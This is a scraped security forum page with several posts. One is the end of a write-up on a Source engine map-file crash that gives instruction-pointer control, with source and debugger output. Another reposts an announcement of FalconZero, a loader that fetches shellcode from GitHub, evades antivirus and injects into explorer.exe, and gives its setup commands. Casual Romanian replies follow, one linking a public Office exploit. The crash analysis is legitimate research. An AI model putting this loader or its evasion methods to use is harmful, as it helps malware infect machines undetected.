source code, so we can do this on Windows. Minimization One important thing to do before we go fully into exploitation is minimize the bug. The bug is a derivative of one found with a wrapper around zzuf, that was re-found with CERT’s BFF tool. If we look at the differences between our original map (cs_assault) and ours, we can see the differences are numerous. Minimization was done manually in this case, using BSPInfo and extracting and comparing the lumps. As expected, the key error was in lump 40 - LUMP_PAKFILE. This lump is essentially a large .zip file. We can use 010 Editor’s ZIP file template to examine it. Symbols and Source (Code) The behavior between the Steam release and the leaked source will differ significantly. No bug will function in a completely identical way across platforms. Assuming your goal is to weaponize this, or even get the maximum payout from Valve on H1, your main target should be Win32 - though other platforms are a viable substitute. Linux has some great tooling available and Valve regularly forgets strip is a thing on macOS (so do many other developers). We can look at the stack trace provided by WinDBG to ascertain what’s going on. Starting from frame 8, we’ll walk through what’s happening. The first line of each snippet will denote where WinDBG decides the problem is. if ( pf->Prepare( packfile->filelen, packfile->fileofs ) ) { int nIndex; if ( addType == PATH_ADD_TO_TAIL ) { nIndex = m_SearchPaths.AddToTail(); } else { nIndex = m_SearchPaths.AddToHead(); } CSearchPath *sp = &m_SearchPaths[ nIndex ]; sp->SetPackFile( pf ); sp->m_storeId = g_iNextSearchPathID++; sp->SetPath( g_PathIDTable.AddString( newPath ) ); sp->m_pPathIDInfo = FindOrAddPathIDInfo( g_PathIDTable.AddString( pPathID ), -1 ); if ( IsDvdDevPathString( newPath ) ) { sp->m_bIsDvdDevPath = true; } pf->SetPath( sp->GetPath() ); pf->m_lPackFileTime = GetFileTime( newPath ); Trace_FClose( pf->m_hPackFileHandleFS ); pf->m_hPackFileHandleFS = NULL; //pf->m_PackFileID = m_FileTracker2.NotePackFileOpened( pPath, pPathID, packfile->filelen ); m_ZipFiles.AddToTail( pf ); } else { delete pf; } } } It’s worth noting that you’re reading this correctly - LUMP_PAKFILE is simply an embedded ZIP file. There’s nothing too much of consequence here - just pointing out m_ZipFiles does indeed refer to the familiar archival format. Frame 7 is where we start to see what’s going on. zipDirBuff.EnsureCapacity( rec.centralDirectorySize ); zipDirBuff.ActivateByteSwapping( IsX360() || IsPS3() ); ReadFromPack( -1, zipDirBuff.Base(), -1, rec.centralDirectorySize, rec.startOfCentralDirOffset ); zipDirBuff.SeekPut( CUtlBuffer::SEEK_HEAD, rec.centralDirectorySize ); If one is to open LUMP_PAKFILE in 010 Editor and parse the file as a ZIP file, you’ll see the following. elDirectorySize is our rec.centralDirectorySize, in this case. Skipping forward a frame, we can see the following. Commented out lines highlight lines of interest. CUtlBuffer::CUtlBuffer( int growSize, int initSize, int nFlags ) : m_Error(0) { MEM_ALLOC_CREDIT(); m_Memory.Init( growSize, initSize ); m_Get = 0; m_Put = 0; m_nTab = 0; m_nOffset = 0; m_Flags = nFlags; if ( (initSize != 0) && !IsReadOnly() ) { m_nMaxPut = -1; AddNullTermination( m_Put ); } else { m_nMaxPut = 0; } ... followed by the next frame, template< class T, class I > void CUtlMemory<T,I>::Init( int nGrowSize /*= 0*/, int nInitSize /*= 0*/ ) { Purge(); m_nGrowSize = nGrowSize; m_nAllocationCount = nInitSize; ValidateGrowSize(); Assert( nGrowSize >= 0 ); if (m_nAllocationCount) { UTLMEMORY_TRACK_ALLOC(); MEM_ALLOC_CREDIT_CLASS(); m_pMemory = (T*)malloc( m_nAllocationCount * sizeof(T) ); } } and finally, inline void *MemAlloc_Alloc( size_t nSize ) { return g_pMemAlloc->IndirectAlloc( nSize ); } where nSize is the value we control, or $esi. Keep in mind, this is all before the actual segfault and $eip corruption. Skipping ahead to that – ***** OUT OF MEMORY! attempted allocation size: 2425393296 **** (311c.4ab0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000 eip=00000032 esp=012fce7c ebp=012fce88 iopl=0 nv up ei ng nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010292 00000032 ?? ??? We’re brought to the same familiar fault. Of note is that $eax and $eip are the same value, and consistent throughout runs. If we look at the stack trace WinDBG provides, we see much of the same. Picking apart the locals from CZipPackFile::Prepare, we can see the values on $eip and $eax repeated a few times. Namely, the tuple m_PutOverflowFunc. So we’re able to corrupt this variable and as such, control $eax and $eip - but not to any useful extent, unfortunately. These values more or less seem arbitrary based on game version and map data. What we have, essentially - is a malloc with the value of nSize (0x90909090) with full control over the variable nSize. However, it doesn’t check if it returns a valid pointer – so the game just segfaults as we’re attempting to allocate 2 GB of memory (and returning zero.) In the end, we have a novel denial of service that does result in “control” of the instruction pointer - though not to an extent that we can pop a shell, calc, or do anything fun with it. Thanks to mev for phrasing this better than I could. I’d like to thank mev, another one of our members, for assisting with this writeup, alongside paracord and vmcall. Sursa; https://secret.club/2020/05/05/source-spaghetti.html
-
Introducing FalconZero v1.0 - a stealthy, targeted Windows Loader for delivering second-stage payloads(shellcode) to the host machine undetected Reading Time: 10 minutes Warning Ahead! You could dominate the world if you read this post from top to bottom and follow all the instructions written here. Proceed at your own discretion, operator! TL;DR This tool is for red team operators and offensive security researchers and ergo, being made open source and free(as in free beer). It is available here: https://github.com/slaeryan/FALCONSTRIKE Demo Let’s take a quick look at a demo of the FalconZero Implant Generation Utility and then we shall get down to the technicalities. Introduction Ever since I completed my SLAE, I am completely enchanted by the power of shellcode. This feeling was only augmented when I heard a podcast by the wonderful guys at FireEye’s Mandiant Red Team where they advocated the usage of shellcode in red teaming engagements for its flexibility and its ability to evade AV/EDRs among other things. That’s when I decided to play around with various shellcode injection techniques. Along the way, I thought of a cool technique and made an implant based on it that could deliver Stage-2 payloads to the target machine in a stealthy manner. But why stop there? Why not add some neat features to it and create a framework to aid red teamers to generate these implants as quickly and cleanly as possible. That was the inception of the FALCONSTRIKE project and FalconZero is the first public release version Loader/Dropper of the FALCONSTRIKE project. It implements the BYOL(Bring Your Own Land) approach as opposed to LotL(Living off the Land). But it’s not your standard run-off-the-mill shellcode loader(more on this later). You may think of FalconZero as a loading dock for malware. In other words, FalconZero is comparable to an undetectable gun that will fire a bullet(payload) on the host machine. This is the reason it may not be classified as malware per se but rather a facilitator of sorts that helps the malware get undetected on the host. But there’s plenty of tools that already do that. So what makes FalconZero special? While there are many excellent existing projects, this is not designed to be a replacement for them. This is designed to be unique in its own way and there are quite a few of those features that separate it from the rest. So let’s discuss them one by one. Separation of the final-stage payload from the Loader As the real attackers often do, we need to separate the payload into 2 stages: Stage-1 payload - A stealthy, lightweight Loader - downloads and injects the Beacon shellcode into a benign host process. Stage-2 payload - A full-fledged interactive C2 Agent - Meterpreter/Beacon etc. Some of the ways of storing the Stage-2 payload(shellcode) in the Stage-1 payload(Dropper) are: Storing shellcode in .text section of Dropper Storing shellcode in .data section of Dropper Storing shellcode in .rsrc section of Dropper etc. While these techniques remain quite popular but keeping both the shellcode and Dropper bundled together(even if it is encrypted) is probably not a good idea from an OPSEC & risk management perspective. Why risk combining all the functionality into a single tool? Imagine if the blue-teams get a hold of an undetonated implant, not only will the Dropper get compromised but also the Stage-2 payload which can’t be any good. Instead, hosting the Stage-2 payload on a server is beneficial because you even have a kill-switch in your hands now(say you want to stop the op. simply delete the payload from the server and that’s it). This technique also helps us to evade some AV/EDRs if the Stage-1 implant is designed in such a way since Stage-2 has more chances of getting detected. So it’s best practise from an OPSEC and risk mitigation perspective to separate the Dropper and the shellcode over the network. In other words, the Dropper can connect to a remote server where the shellcode is hosted provided some conditions are met, fetch it from over there, prep it and then proceed to inject it into a host process on-the-fly which is exactly what has been implemented. Remember BYOL? Hopefully, it makes a lot more sense now. Usage of Github for fetching the Stage-2 payload Yep! You read that correctly. Github is used as the payload storage area. The implant connects to the appropriate Github repository and fetches the payload from there. Why such a choice? Simply because Github is largely considered a legitimate website and network traffic observed to Github will not be flagged as malicious by security products and will probably not even be blocked in most organisations/offices as opposed to using some attacker-owned web server hosting a payload which could be noisy as hell. Last time I checked, I could not find any publicly available tools that utilised Github as the shellcode docking station so this would be the first of it’s kind. I sincerely hope Github doesn’t ban me from their platform now As a brownie point, this would save the operator precious time and money too Sensitive string obfuscation All the sensitive strings in this implant are encrypted using the XOR algorithm with a key that is commonly found in binaries. This would make the job of extracting the URL string and other information from the binary using static analysis impossible. Feel free to test it using FLOSS. Extract it, chmod +x and test using: ./floss <binary> Implant targeting This is something that I have spoken of before. Instead of having malicious code that executes on arbritrary systems, FalconZero comes with a targeting feature which prevents its execution on non-targeted assets and ensuring deployment only happens iff host is the intended target. But we as red teams why should we care about it? This is why: To prevent the accidental breaking of the rules of engagement. This will ensure that the malcode doesn’t end being executed on any unintended host which are out of the scope. To hinder the efforts of blue teams trying to reverse engineer the implant on non-targeted assets and thwart analysis on automated malware sandboxes. Okay, but how do we implement this? Using something known as an environmental keying factor which could be any network/host specific identifier that is found out previously by reconnoitering the target. By hard-coding that value in the implant and comparing it at runtime, we can verify whether the executing host is the intended target or not. One problem that arises from this approach is that it would be trivial to extract that identifier from the binary if left in a plaintext format. So why don’t we hash it? And compare the hashes at runtime instead of the original string? FalconZero uses the hostname as the environmental keying factor, hashes it using MD5 algorithm and what’s more? It even encrypts that hash using XOR before hard-coding it to thwart all kinds of static analysis. Should the checks fail, the implant shall not execute on the host. As a result, reverse engineering this implant should be non-trivial. Killdate Think of killdates like a sort of expiry date for implants beyond which the implant will simply not execute. Obviously, this is quite an important feature as you’d want your implants to be rendered useless after the engagement ends. Address Of Entry Point Injection technique Thanks to @spotheplanet, FalconZero utilises a shellcode injection technique that goes under the radar of many AV/EDRs since we do not need to allocate RWX memory pages in the host process which is a very noisy action. Quoting from his blog, This is a shellcode injection technique that works as follows: 1. Start a target process into which the shellcode will be injected, in suspended state. 2. Get AddressOfEntryPoint of the target process 3. Write shellcode to AddressOfEntryPoint retrieved in step 2 4. Resume target process Credit goes to Mantvydas Baranauskas for describing this wonderful technique! In the current form, FalconZero injects the payload to explorer.exe. Of course, this could be modified to suit the purpose of the operator. Usage There are many hard things in life but generating an implant shouldn’t be one. This is the reason the generate_implant.py script has been created to make your life a breeze. The process is as simple as: First generate your shellcode as a hex string Upload it on Github and copy the Github raw URL For testing(MessageBox shellcode): https://raw.githubusercontent.com/slaeryan/DigitalOceanTest/master/messagebox_shellcode_hex_32.txt git clone https://github.com/slaeryan/FALCONSTRIKE.git cd FALCONSTRIKE pip3 install -r requirements.txt python3 generate_implant.py Follow the on-screen instructions and you’ll find the output in bin directory if everything goes well. AV Scan of FalconZero implant Upgrades expected in the next release This is an alpha release version and depending on the response many more upgrades to existing functionalities are coming soon. Some of them are: Integrate various Sandbox detection algorithms. Integrate support for more stealthy shellcode injection techniques. Integrate function obfuscation to make it stealthier. Include a network component to callback to a C2 when a Stage-2 payload is released or to change targets/payloads and configure other options on-the-fly etc. Inject to a remote process from where network activity is not unusual for fetching the shellcode - better OPSEC Include active hours functionality - Loader becomes active during a specified period of day etc. Feel free to communicate any further feature that you want to see in the next release. Suggestions for improving existing features are also warmly welcome Support this project If you find this project useful, consider buying me coffee or a beer(depending on the mood) as a token of appreciation. You can do it right here: OR Donate with Crypto Sursa: https://slaeryan.github.io/posts/falcon-zero-alpha.html
-
Trebuie sa inveti atat teoretic cat si sa lucrezi practic. Da, am vazut multe pareri bune despre acea carte asa ca ti-o recomand. Ulterior poti trece la altele, trebuie sa le iei pe rand. Gasesti documentatie legat de orice pe Internet, trebuie doar sa fii motivat.
-
Reverse engineering workshops
Nytro replied to Nytro's topic in Reverse engineering & exploit development
Nu, dar arata extrem de bine, contine multe informatii utile si e foarte bine organizat! -
Bine ai venit. Si RST e foarte bun la capitolul SEO. E primul rezultat la cautarea "invitatie filelist". Nu stim de ce, dar parca nu vrem sa mai fie. Daca despre SEO mai stim cate ceva, despre anti-SEO stii cate ceva? Ce am putea face?
-
Acel MalSec, rusnac sau ce o fi, care vinde de fapt asa ceva (probabil Gigel de mai sus nu il are, ci doar e tepar), zice ca merge pana la Office 2016. Uitati ceva mai recent, open-source: https://github.com/bhdresh/CVE-2017-0199 gasit random si fara sa vreau. Sunt si altele, publice, gratis, open source. Cat despre ceva modern, care sa functioneze pe ultimele versiuni, adica 0day... https://zerodium.com/program.html -> Oficial si legal se pot obtine 100.000 de euro pe el. Cat despre piata neagra, nici nu se pune problema. Cu alte cuvinte, hacker cu 69 in username, nimeni de aici nu e atat de dobitoc sa dea nici macar 10 euro pentru ceea ce tu pretinzi ca ai. Probabil nici nu ai. Acum serios, daca ai nevoie de niste bani, 20-30 de euro, zi-ne direct si iti trimitem, nu suntem chitrosi.
-
Ce cred eu, sincer, despre aceasta persoana: a cumparat si el acele mizerii de pe cine stie ce porcarie de forum si na, roman, vrea sa faca si el un ban cinstit. Probabil in cateva minute putem gasi de unde le-a luat, dar nu isi pierde nimeni timpul cu asa ceva. Cat despre noi, scriam tool-uri dinastea de "hacking" prin 2008. Uite aici un crypter facut de mine in 2009: Cu alte cuvinte stim ce vorbim. Mai ales ca au trecut peste 10 ani de atunci si noi am invatat multe alte lucruri intre timp. Si inca invatam. Cat despre tine nu stim nimic. Bine, stim, ca ai numele in adresa de mail, degeaba incerci sa te ascunzi prin Telegrame...
-
M-am uitat putin pe acel filmulet care incainta pustanii de 12 ani cu efecte vizuale. Cand selecteaza un document scrie in paranteze "Payload VBS". Haa Pe bune bre? Vinzi Word cu macro? Exista retardati care cumpara asa ceva pe hackforums?
-
[RST] NetRipper - Smart traffic sniffing for penetration testers
Nytro replied to Nytro's topic in Proiecte RST
Nop, e necesar sa ruleze pe masina care timite/primeste trafic. Doar la nivel de retea, daca se verifica certificatele cum trebuie, nu se poate face nimic. -
Oracle warns of attacks against recently patched WebLogic security bug
Nytro replied to Kev's topic in Stiri securitate
Imi pare rau pentru cei care folosesc Weblogic, nu cred ca exista software cu mai multe vulnerabilitati critice decat chestia asta. Bine, poate IE.- 1 reply
-
- cve-2020-2883
- cve-2019-2729
- (and 6 more)
-
Salut, exista firme la care se preda programarea. Nu le cunosc, DAR sunt destul de sigur ca vei invata foarte bine de acolo. Insa sunt 2 probleme: 1. Costa ceva, probabil nu foarte mult, nu am idee 2. Dureaza al dracu de mult. Adica vreo 6 luni sau chiar mai mult. Stiu ca sa inveti programare, dar in 6 ani invat sa proiectez rachete Cat despre facultate nu o sa te ajute atat de mult cat iti imaginezi. Insa da foarte bine la CV. Sugestia mea e sa inveti singur si sa practici singur. Partea cu practicatul e extrem de importanta. Si iti aduce un portofoliu pe care il ai pentru angajare. Cel mai important e sa alegi ceea ce iti place. Iti place PHP? Mergi cu el mai departe. Cred ca se cauta mai mult Java, dar orice e OK. Dupa ce inveti un limbaj bine poti trece destul de usor pe altul. Daca ai nevoie de alte sugestii, poti sa vii cu niste intrebari mai concrete. Sau sa ne spui ca iti place, ce ai vrea sa faci etc. Si sa intelegi ca noi ne dam cu parerea, nu inseamna ca orice zicem e adevarat.
-
Bre, ti-am mai zis si in privat, nu o sa cumpere nimeni mizeriile astea de la tine. Nu avem 15 ani ca ratatii aia de pe Hackforums. Incearca acolo. "Silent exploit" - DACA merge, este ceva pentru Office 2007 sau ceva versiuni de 10 ani pe care nu le foloseste nimeni. Si la banii aia... Adica esti penibil si te faci de ras.
-
RIOT IS OFFERING US$100,000 IF YOU CAN EXPLOIT VALORANT’S ANTI-CHEAT SYSTEM
Nytro replied to YKelyan's topic in Bug Bounty
Imi da 404 not found la fisier. Da, am vazut poza, link-ul catre acea poza si invitatia de join in echipa aparea la "strings" pe binar. PS: Destul de multi oameni pentru ceva atat de nisat. -
RIOT IS OFFERING US$100,000 IF YOU CAN EXPLOIT VALORANT’S ANTI-CHEAT SYSTEM
Nytro replied to YKelyan's topic in Bug Bounty
Orice anticheat poate fi bypassat din moment ce local, in joc, se pot intampla lucruri care sa afecteze cumva ce se intampla pe server si mai departe la ceilalti useri. Mai exact, daca la tine in PC, in joc, ajung coordonatele celorlati jucatori (e.g. wall) atunci se poate manipula jocul incat sa ii arate, chiar prin pereti. Daca jocul tau nu ar primi aceste informatii de la server, nu ar avea de unde sa stie unde sunt. Aici depinde totul de arhitectura jocului si de ce se poate face local. Evident, nu se poate face totul pe server si desigur, apar probleme cu cheat-urile. Legat de VM, nu e nevoie de asa ceva. E destul de complicat sa rulezi cod printr-un hypervisor intr-un guest OS. In cazul de fata se poate face totul ca la orice alt joc, doar ca bypass-urile trebuie sa se faca la ring 0 in loc de ring 3 si care doar complica lucrurile pentru un anti-cheater. E un "mitigation" nu un "protection" pana la urma. Asta e scopul, sa faca cat mai dificil un cheat, ca de prevenit complet nu are cum. Asta se poate face doar la jocuri simple, minimale, unde logica completa se face pe server nu pe client, ceea ce e greu in practica.